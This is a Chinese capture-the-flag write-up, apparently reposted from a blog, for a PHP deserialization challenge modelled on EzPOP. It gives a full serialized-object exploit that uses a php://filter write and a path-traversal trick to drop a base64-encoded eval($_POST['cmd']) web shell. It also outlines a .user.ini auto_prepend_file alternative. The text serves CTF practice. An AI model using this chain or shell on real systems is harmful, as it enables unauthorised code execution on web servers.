标签:一段 shel 创建 user 方法 obj getc false cte
这个题跟[EIS 2019]EzPOP 比较类似。
[EIS 2019]EzPOP WP
区别在于修改了一段代码。
修改前:
public function getCacheKey(string $name): string
{
return $this->options[‘prefix‘] . $name;
}
1
2
3
4
修改的:
public function getCacheKey(string $name): string {
// 使缓存文件名随机
$cache_filename = $this->options[‘prefix‘] . uniqid() . $name;
if(substr($cache_filename, -strlen(‘.php‘)) === ‘.php‘) {
die(‘?‘);
}
return $cache_filename;
}
1
2
3
4
5
6
7
8
使文件名随机,并且比较了后缀并限制了后缀不能为php
这里有两种解法:
第一种是绕过php后缀:
在做路径处理的时候,会递归的删除掉路径中存在的 /. ,所以导致写入文件成功。
利用之前的exp
<?php
class A{
protected $store;
protected $key;
protected $expire;
public function __construct()
{
$this->key = ‘/../pz.php/.‘; // php://filter/write=convert.base64-decode/resource=uploads/‘. uniqid() .‘/../pz.php/.‘);
}
public function start($tmp){
$this->store = $tmp;
}
}
class B{
public $options;
}
$a = new A();
$b = new B();
$b->options[‘prefix‘] = "php://filter/write=convert.base64-decode/resource=uploads/"; //mkdir 会创建不了文件夹; uploads文件夹本身存在所以不用创建了
$b->options[‘expire‘] = 11;
$b->options[‘data_compress‘] = false;
$b->options[‘serialize‘] = ‘strval‘;
$a->start($b);
$object = array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg");
$path = ‘111‘;
$a->cache = array($path=>$object);
$a->complete = ‘2‘;
echo urlencode(serialize($a));
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
在这里插入图片描述
这里需要注意的是,需要利用路径穿越,不然上传上去的shell会被改为当前时间的文件名
像这样
在这里插入图片描述
第二种解法
可以参考Moyu 师傅的:
buu红包题writeup
这里用的方法是用.user.ini去自动加载一个jpg,然后包含shell
这里对.user.ini的讲解
总体思路就是: 我们可以上传一个.user.ini文件,在.user.ini文件内利用auto_prepend_file写入我们要上传的图片作为shell的文件名。然后再写入jpg文件,作为我们的shell。 然后就可以访问我们的shell文件了。
具体exp可以看Moyu师傅的文章。
————————————————
版权声明:本文为CSDN博主「sec_pz」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/zhangpen130/article/details/104114797
标签:一段 shel 创建 user 方法 obj getc false cte
原文地址:https://www.cnblogs.com/nwzw-blog/p/12301048.html